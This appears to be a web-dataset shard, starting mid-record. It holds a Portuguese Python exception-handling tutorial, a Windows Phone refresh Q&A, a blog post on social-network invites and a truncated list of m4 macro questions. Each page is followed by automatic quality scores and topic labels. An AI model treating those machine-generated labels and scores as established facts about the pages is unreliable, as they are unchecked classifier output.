"rps_doc_word_count": 140,
"rps_doc_frac_chars_dupe_10grams": 0.1385135054588318,
"rps_doc_frac_chars_dupe_5grams": 0.2736486494541168,
"rps_doc_frac_chars_dupe_6grams": 0.21621622145175934,
"rps_doc_frac_chars_dupe_7grams": 0.1385135054588318,
"rps_doc_frac_chars_dupe_8grams": 0.1385135054588318,
"rps_doc_frac_chars_dupe_9grams": 0.1385135054588318,
"rps_doc_frac_chars_top_2gram": 0.042229730635881424,
"rps_doc_frac_chars_top_3gram": 0.03716215863823891,
"rps_doc_frac_chars_top_4gram": 0.03716215863823891,
"rps_doc_books_importance": -83.77415466308594,
"rps_doc_books_importance_length_correction": -83.77415466308594,
"rps_doc_openwebtext_importance": -46.43617248535156,
"rps_doc_openwebtext_importance_length_correction": -46.4361686706543,
"rps_doc_wikipedia_importance": -33.40605926513672,
"rps_doc_wikipedia_importance_length_correction": -33.40605926513672
},
"fasttext": {
"dclm": 0.8788179755210876,
"english": 0.9532971978187561,
"fineweb_edu_approx": 1.4244166612625122,
"eai_general_math": 0.9945061802864075,
"eai_open_web_math": 0.6654588580131531,
"eai_web_code": 0.2701062560081482
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "519.2",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Probabilities; or, Mathematical statistics"
}
},
"secondary": {
"code": "519.5",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Probabilities; or, Mathematical statistics"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-5,960,798,748,843,278,000 | 14.5 - Captura de exceções
Muitas coisas podem dar errado quando você tenta ler e escrever arquivos. Se tentar abrir um arquivo que não existe, você recebe um IOError:
>>> fin = open('bad_file')
IOError: [Errno 2] No such file or directory: 'bad\_file'
Se não tiver permissão para acessar um arquivo:
>>> fout = open('/etc/passwd', 'w')
PermissionError: [Errno 13] Permission denied: '/etc/passwd'
E se tentar abrir um diretório para leitura, recebe
>>> fin = open('/home')
IsADirectoryError: [Errno 21] Is a directory: '/home'
Para evitar esses erros, você pode usar funções como os.path.exists e os.path.isfile, mas levaria muito tempo e código para verificar todas as possibilidades (se "Errno 21" significa algo, pode ser que pelo menos 21 coisas podem dar errado).
É melhor ir em frente e tentar, e lidar com problemas se eles surgirem, que é exatamente o que a instrução try faz. A sintaxe é semelhante à da instrução if…else:
try:
fin = open('bad_file')
except:
print('Something went wrong.')
O Python começa executando a cláusula try. Se tudo for bem, ele ignora a cláusula except e prossegue. Se ocorrer uma exceção, o programa sai da cláusula try e executa a cláusula except.
Lidar com exceções usando uma instrução try chama-se capturar uma exceção. Neste exemplo, a cláusula except exibe uma mensagem de erro que não é muito útil. Em geral, a captura de uma exceção oferece a oportunidade de corrigir o problema ou tentar novamente, ou, ao menos, de terminar o programa adequadamente. | {
"url": "https://pense-python.caravela.club/14-arquivos/05-captura-de-excecoes.html",
"source_domain": "pense-python.caravela.club",
"snapshot_id": "crawl=CC-MAIN-2020-29",
"warc_metadata": {
"Content-Length": "48625",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:L63NTOORE5AAOMIK6JAG3OCUCCTDUQNJ",
"WARC-Concurrent-To": "<urn:uuid:f8c98849-5b0a-4d9e-afc7-22ef2f99a091>",
"WARC-Date": "2020-07-10T09:26:18Z",
"WARC-IP-Address": "185.199.111.153",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AWQ4MSZYD5SP7PMGB3ZIAZIW4D4TU6HW",
"WARC-Record-ID": "<urn:uuid:58024490-542a-4114-8459-b8a488229c76>",
"WARC-Target-URI": "https://pense-python.caravela.club/14-arquivos/05-captura-de-excecoes.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:26d98801-a0d3-4498-9922-73cccfdb668e>"
},
"warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-143.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
27,
28,
169,
170,
197,
255,
256,
304,
305,
341,
402,
403,
455,
456,
480,
534,
535,
777,
778,
941,
942,
947,
974,
982,
1017,
1018,
1204,
1205
],
"line_end_idx": [
27,
28,
169,
170,
197,
255,
256,
304,
305,
341,
402,
403,
455,
456,
480,
534,
535,
777,
778,
941,
942,
947,
974,
982,
1017,
1018,
1204,
1205,
1515
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1515,
"ccnet_original_nlines": 28,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.13719512522220612,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012195119634270668,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.27743902802467346,
"rps_doc_frac_unique_words": 0.5897436141967773,
"rps_doc_mean_word_length": 5.085470199584961,
"rps_doc_num_sentences": 15,
"rps_doc_symbol_to_word_ratio": 0.003048779908567667,
"rps_doc_unigram_entropy": 4.684067726135254,
"rps_doc_word_count": 234,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.033613450825214386,
"rps_doc_frac_chars_top_3gram": 0.04033612832427025,
"rps_doc_frac_chars_top_4gram": 0.033613450825214386,
"rps_doc_books_importance": -159.81982421875,
"rps_doc_books_importance_length_correction": -149.76278686523438,
"rps_doc_openwebtext_importance": -92.71611785888672,
"rps_doc_openwebtext_importance_length_correction": -92.71611785888672,
"rps_doc_wikipedia_importance": -84.46626281738281,
"rps_doc_wikipedia_importance_length_correction": -71.91932678222656
},
"fasttext": {
"dclm": 0.7619843482971191,
"english": 0.004956250078976154,
"fineweb_edu_approx": 2.2695136070251465,
"eai_general_math": 0.0006446199840866029,
"eai_open_web_math": 0.593536376953125,
"eai_web_code": 0.6781252026557922
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-5,157,319,357,349,626,000 | 3
How do I tell Internet Explorer in Windows Phone 8 to refresh the page by sending new request to server and not displaying data from cache (hard refresh)? Something like pressing CTRL-F5 in a PC browser.
2
Unfortunately, there is no direct way (yet) to do what you are trying to.
However, an indirect way of doing this is to clear your cache by following the instructions here.
Alternatively, you could consider using a browser other than Internet Explorer and try and make feature requests for these. Here is a discussion about alternative browsers on Windows Phone.
| improve this answer | |
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://windowsphone.stackexchange.com/questions/1913/hard-refresh-on-internet-explorer",
"source_domain": "windowsphone.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2020-29",
"warc_metadata": {
"Content-Length": "143550",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2N45OBHLL7SQLWHM72GUGESKMVFCT2ZM",
"WARC-Concurrent-To": "<urn:uuid:73f5228d-b888-4d30-a351-3d2201ce3433>",
"WARC-Date": "2020-07-08T10:21:30Z",
"WARC-IP-Address": "151.101.129.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:IGDKA77TLFMGWWIMWH6NSYGYID7ZGH5Y",
"WARC-Record-ID": "<urn:uuid:24442ca0-eb39-4bda-b412-8db6ec203da0>",
"WARC-Target-URI": "https://windowsphone.stackexchange.com/questions/1913/hard-refresh-on-internet-explorer",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f358bb3d-6dd7-4e1c-947d-0993b3dd353c>"
},
"warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-253.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
3,
207,
208,
210,
211,
285,
286,
384,
385,
575,
576,
602,
603,
615,
616,
716,
717
],
"line_end_idx": [
2,
3,
207,
208,
210,
211,
285,
286,
384,
385,
575,
576,
602,
603,
615,
616,
716,
717,
807
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 807,
"ccnet_original_nlines": 18,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.44025155901908875,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.025157229974865913,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.15723270177841187,
"rps_doc_frac_unique_words": 0.7037037014961243,
"rps_doc_mean_word_length": 4.733333110809326,
"rps_doc_num_sentences": 8,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.422438144683838,
"rps_doc_word_count": 135,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.05007825046777725,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -91.77173614501953,
"rps_doc_books_importance_length_correction": -91.77173614501953,
"rps_doc_openwebtext_importance": -47.97050094604492,
"rps_doc_openwebtext_importance_length_correction": -47.96485137939453,
"rps_doc_wikipedia_importance": -42.34852600097656,
"rps_doc_wikipedia_importance_length_correction": -42.34852600097656
},
"fasttext": {
"dclm": 0.2874205708503723,
"english": 0.9116623997688293,
"fineweb_edu_approx": 1.7220009565353394,
"eai_general_math": -0.000010009999641624745,
"eai_open_web_math": 0.01175117027014494,
"eai_web_code": -0.000010009999641624745
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.457",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-4,448,780,606,483,667,500 | Wednesday, August 08, 2007
Social Selectivity
I wish social sites forced me (and others) to apply some level of selectivity in creating my network.
Lots of cell providers are offering plans where the customer gets unlimited calls/chats - but only to a prescribed set of friends/family members. As the size of this social network is constrained (and there is a cost to the customer), the customers will choose its members carefully. Also, knowing that they were selected/invited with care, its members would (might) appreciate the honour.
Would that the same effect applied in social sites, where there is almost no cost for sending an invite. To the sender that is, the cost (of reading the email, trying to remember a relationship, logging in, accepting the invite, etc) is borne by the invitee. I bet few people get invites from un (or barely) known strangers to join such a 'calling circle'.
I predict that, eventually, providers will offer tiered discounts to 'friends of a friend'. For instance, I'd get free calls to my 1st tier 5 friends, 50% off for the 25 members of the 2nd tier, etc. I expect I'll have to pay full rate to call Kevin Bacon.
1 comment:
Dave said...
While I generally don't like artificial limits, I would really love that for my business. We have a MySpace page that the previous owners set up and we maintain. We sell goth products, and every band under the sun wants to be our "friend" just so they can put ads in our comments section.
I don't want to start denying "friendship" to people, but I'm feeling kind of used here. It would be great to say, "sorry, but we don't have room for any more friends". | {
"url": "http://connectid.blogspot.com/2007/08/social-selectivity.html",
"source_domain": "connectid.blogspot.com",
"snapshot_id": "crawl=CC-MAIN-2017-04",
"warc_metadata": {
"Content-Length": "88617",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:GQ7MIRMSMFHBDPSF6O2KMRH7OA2DHKNN",
"WARC-Concurrent-To": "<urn:uuid:617156ed-b990-4eb9-b5ee-30aad629bc9c>",
"WARC-Date": "2017-01-24T21:18:31Z",
"WARC-IP-Address": "172.217.7.193",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:BXQHWYDJ73SWLMZ3DX2OY6IOBWVGXMPS",
"WARC-Record-ID": "<urn:uuid:a19e9f6a-5a01-4652-b5b5-a680224aeef0>",
"WARC-Target-URI": "http://connectid.blogspot.com/2007/08/social-selectivity.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:869a56db-b3fa-4c61-986a-a0585fa65cd5>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-70.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-04\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for January 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
27,
28,
47,
48,
150,
151,
541,
542,
899,
900,
1157,
1158,
1169,
1170,
1183,
1184,
1473,
1474
],
"line_end_idx": [
27,
28,
47,
48,
150,
151,
541,
542,
899,
900,
1157,
1158,
1169,
1170,
1183,
1184,
1473,
1474,
1642
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1642,
"ccnet_original_nlines": 18,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3977900743484497,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.027624310925602913,
"rps_doc_frac_lines_end_with_ellipsis": 0.05263157933950424,
"rps_doc_frac_no_alph_words": 0.1961326003074646,
"rps_doc_frac_unique_words": 0.6284722089767456,
"rps_doc_mean_word_length": 4.423611164093018,
"rps_doc_num_sentences": 16,
"rps_doc_symbol_to_word_ratio": 0.002762430114671588,
"rps_doc_unigram_entropy": 4.88238525390625,
"rps_doc_word_count": 288,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.017268450930714607,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -144.46112060546875,
"rps_doc_books_importance_length_correction": -130.75408935546875,
"rps_doc_openwebtext_importance": -96.82479858398438,
"rps_doc_openwebtext_importance_length_correction": -96.82479858398438,
"rps_doc_wikipedia_importance": -52.989593505859375,
"rps_doc_wikipedia_importance_length_correction": -40.45173645019531
},
"fasttext": {
"dclm": 0.16224968433380127,
"english": 0.9716771841049194,
"fineweb_edu_approx": 0.8621447682380676,
"eai_general_math": 0.3557735085487366,
"eai_open_web_math": 0.19526290893554688,
"eai_web_code": 0.1573767066001892
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "302.3",
"labels": {
"level_1": "Social sciences",
"level_2": "",
"level_3": "Social psychology"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "9",
"label": "Personal/Misc"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-1,311,941,259,777,151,000 | m4 is a general purpose macro processing language developed by Brian Kernighan and Dennis Ritchie.
learn more… | top users | synonyms
0
votes
1answer
8 views
string comparison and macro OR condition
In M4 language, is there a way that I can compare a string argument to two values and if any of those two match, then X is executed, other Y is executed? For example, if argument to MACTEST macro is ...
0
votes
1answer
59 views
Meta programming and runtime code generation
I have a requirement where I need to generate the function arguments at runtime. At compile time, I do not know the number of arguments or their type. It has to be read from a file at runtime, ...
0
votes
1answer
24 views
(Macro Language Processor m4) How do I run resp. compile .m4 programs on Ubuntu 13.4?
I installed m4 from this site:http://www.geeksww.com/tutorials/libraries/m4/installation/installing_m4_macro_processor_ubuntu_linux.php So far so good. The package also had some examples in it. If I ...
0
votes
1answer
32 views
(m4: Macro Processor) Dont understand complex define command
I'm currently reading the book "SPARC Architecture, Assembly Language Programming, and C. Second Edition". I got to a place in the book, where I don't understand or am not able to comprehend a ...
1
vote
1answer
41 views
Have error output include last couple lines of code
Is it possible, and if so, how would you make error output include the last couple lines of code? I know about GNU g++'s support for __LINE__ and __FUNC__ but those only give the line number as an int ...
0
votes
1answer
42 views
Updating m4 on mac OS X 10.6.8
I'm trying to upgrade m4 from version 1.4.6 (the version that comes with OS X 10.6.8) to 1.4.16. I've installed with homebrew, and I've also built from source into /usr/local/ (and edited /etc/paths ...
0
votes
1answer
57 views
how to use variables for strings in autoconf:configure.ac
How to use variables for messages inside configure.ac if test "$foo" = "yes"; then AC_MSG_ERROR([this string is being used in WARN as well as ERROR]) else AC_MSG_WARN([this string is being ...
0
votes
1answer
78 views
PHP - Extension Config.m4 file
I am trying to code PHP Extensions using this tutorial. In the config.m4 file, there are Macros like PHP_ARG_ENABLE etc. Where is the defintion for these macros?
1
vote
1answer
36 views
m4 expand macro inside words
I am very new to m4 but cannot find this simple thing: Is it possible to expand a macro in the middle of a word? (I would use it for a counter that would be used in a C symbol name in low-level code) ...
1
vote
0answers
70 views
/usr/bin/m4: Directory not empty [closed]
I am trying to compile freeswitch on arm5vte file system. While doing bootstrap.sh it says /usr/bin/m4: cannot remove temporary directory /tmp/m4-m8UrXp: Directory not empty My build tool ...
3
votes
1answer
48 views
How do I define a macro with the same name as its expansion in m4?
I am attempting to replace if with if( using GNU m4 1.4.14 and I am receiving ERROR: end of file in argument list when trying: define(`if', `if(') define(`then', `){') define(`fi', `}') if foo then ...
0
votes
1answer
34 views
how to check return value of shell cmd in autotools configure
I would like to run a shell command during the configure process- if the return value of this operation is 0, I would like to use it. Otherwise, I want to exit with error message. I wrote something ...
4
votes
2answers
100 views
autoconf: should I always use AS_IF over if and m4_if?
The autoconf manual suggest using AS_IF instead of if, but it doesn't mention m4_if. Should AS_IF also be preferred over m4_if? The "Limitations of Builtins" section of the manual says to use AS_IF ...
0
votes
1answer
57 views
GNU-M4: Strip empty lines
How can I strip empty lines (surplus empy lines) from an input file using M4? I know I can append dnl to the end of each line of my script to suppress the newline output, but the blank lines I mean ...
0
votes
1answer
31 views
How to nest macro definitions in M4?
I would like to define a macro that can define more macros as: define(`master_macro', `foreachq(`slave_macro', `$*', define(`slave_macro', ...)' then I can use master_macro to define more similar ...
1
vote
1answer
51 views
What is M4 composite macros, like foreach?
I would like to use m4 for doing some type-saving stuffs, so the loop will be definitely needed. When I read m4 doc, in chapter 6 there is 6.4 and 6.5 for iteration. But it looks like that foreach is ...
1
vote
1answer
74 views
Using m4 to convert a string to ASCII codepoints
This should be possible, but as I am a novice with m4, I'm not sure how to go about it, or how to write an algorithm to do so (in m4). edit: Just solved it, anyway for future reference, I have a ...
0
votes
1answer
19 views
How to pack multiple statements
I'd like to regroup multiple statements in a []: AC_ARG_WITH( [float], [AS_HELP_STRING( [--with-float], [use float instead of doubles to store polynoms coefficients])], ...
2
votes
1answer
54 views
Suppress unnecessary output to config.h.in
When AC_CHECK_HEADERS is invoked inside m4_foreach_w, autoheader(2.65) seems to generate a bogus template. For example: m4_foreach_w([hdr],[[foo.h] [bar.h]], ...
0
votes
1answer
107 views
How to use QT and GNU Autotools by using AutoTroll?
I would like to use Autotools and QT4 together. For this i would like to use AutoTroll. As the Website says, it should be very easy to use it. Unfortunately i was not able to do so. I have a working ...
1
vote
1answer
215 views
No usable M4 in $PATH or /usr5bin
As part of a long, sordid story whose end goal is simply to get GMP installed for use with code::blocks in Windows, I am trying to configure gmp. I do this with the following command: ./configure ...
1
vote
1answer
2k views
How to update m4, autoconf, automake and libtool properly? Mac OSX
Hej everyone, I'm trying to update my autoconf since I need version 2.62 or newer and Mac OSX 10.6.8 only provides the old 2.61. (Eventuall, I am trying to install the SAGA-GIS API). I followed ...
1
vote
1answer
226 views
AC_SUBST with dynamic variable name
I'm trying to create an m4 macro that basically calls AC_CHECK_SIZEOF(type) then uses AC_SUBST to define that variable for substitution. So given input of: AX_CHECK_SIZEOF_AND_SUBST(int, 4) I want ...
5
votes
1answer
74 views
Automatically escaping slashes in m4 for shell commands
I'm writing macros with m4 to easily embed math in HTML code. Slashes need to be escaped and I want to automate this process but I have not yet figured out a good way. Running m4 on the following ...
2
votes
1answer
105 views
Add sources to build php extension
I want to write a test php extension, which will provide a test class. I want to extract class declaration into a separate C-File and call class registration from module init function of myext.c file. ...
0
votes
0answers
147 views
Compiling VIPS still stuck at PKG_CHECK_MODULES after much effort
I have updated pkg-config to 0.24 and the old problem (at the end of this post) is solved. By running ./bootstrap.sh, I got configure file, and by running ./configure I did not get PKG_CHECK_MODULES ...
1
vote
1answer
71 views
m4 does not parse local variables
I have a problem with an m4 macro. The macro is define(BARRIER, ` #if defined USE_PTHREAD_BARRIERS barrier_wait(&$1,$2,$3); #elif defined (USE_CENTRALIZED_BARRIERS) ...
5
votes
4answers
174 views
Approaches to implement macro definitions in html
I would be great doing things like <define tag="myTag" options="3"> <h1> #1 </h1> <ul> <li> #2 <li> #3 </ul> </define> and then use it: ...
1
vote
1answer
111 views
Expansion of macro not working in M4
I'm working on a system that uses M4 to expand some files out, but I'm getting a problem with the expansion in certain cases. The convention for definition / macro naming (which I'd rather not change ...
1
vote
2answers
40 views
how to chop the last char of a string in m4
I am trying to create a macro for deleting the last char of a string in m4, I have trying to do something like: define(`delete_last',substr(`$1',`0',eval(``len($1)'-1')))dnl This is the one that ...
4
votes
4answers
3k views
aclocal/autoconf reports missing m4sugar.m4 on Mac OS X?
I have Xcode 3.2 installed into /Xcode3.2, and did not install anything into /Developer. When I wish to do development, I start up a shell as follows alias sysroot='PATH=${PATH}:${XCODE}/usr/bin ...
1
vote
1answer
107 views
Android NDK and .m4
There is an OpenSource Linux library that has a file folder with files .m4. I want to port this library on Android NDK. Question: how to compile these. m4? Ie how to write Android.mk?
1
vote
1answer
141 views
M4 eval precision
I'm trying to use M4 macros to generate css files. I'm willing to enter my values in px and do simple math using eval() to get results in em. Unfortunatly I didn't find how to get floats. ...
1
vote
1answer
73 views
Doxygen for GNU M4 language
Is it possible to document GNU M4 macros with Doxygen or something similar? We have a large collection of macros and would like to document them in comments and generate documentation from that ...
0
votes
1answer
311 views
How can you do an ifdef guard for m4 macro file includes?
For C header files, you can prevent multiple inclusion of a header file like: #ifndef MY_FOO_H #define MY_FOO_H [...] #endif How can I do the same thing in m4 such that multiple include() macro ...
2
votes
1answer
379 views
In m4, how do you include a file that has an environment variable in its name?
I want to include a file based relative to my sandbox base directory inside of my m4 text without using the -I switch. So far, I have figured out how to grab the environment variables using a sys ...
6
votes
8answers
728 views
Are there noteworthy uses of m4 besides autoconf?
Does someone know of any uses of m4 besides autoconf (preferably in a c or c++ environment) that is more than just an academic excerise, because it helped solve a problem that would otherwise (for ...
1
vote
2answers
102 views
M4 binary output
Is it possible to define a M4 macro that outputs a binary integer? For example: define(`foo', $1) foo(42) which should output 1 byte with a value of 42.
1
vote
1answer
552 views
m4 - executing a shell command
I'm new to m4 and am trying to set up a macro which allows the user to specify the location of a library at configure-time ./configure --with-mylib=/path/to/lib.so. In the m4 macro using AC_ARG_WITH, ...
1
vote
5answers
415 views
preprocessor API for Java
Does anyone know of a Java preprocessor library? I'm searching for something like m4. I could just invoke m4 from Java and capture the result, but I don't want to depend on m4 being installed in the ...
0
votes
1answer
81 views
m4 does not obey expansion?
I use m4 for a little text preprocessing here, and it behaves in a way I don't understand. This is the portion in question: ifdef(`TEST', define(`O_EXT', `.obj'), define(`O_EXT', `.o')) ...
0
votes
1answer
457 views
Generic preprocessor: How to use for any kind of file?
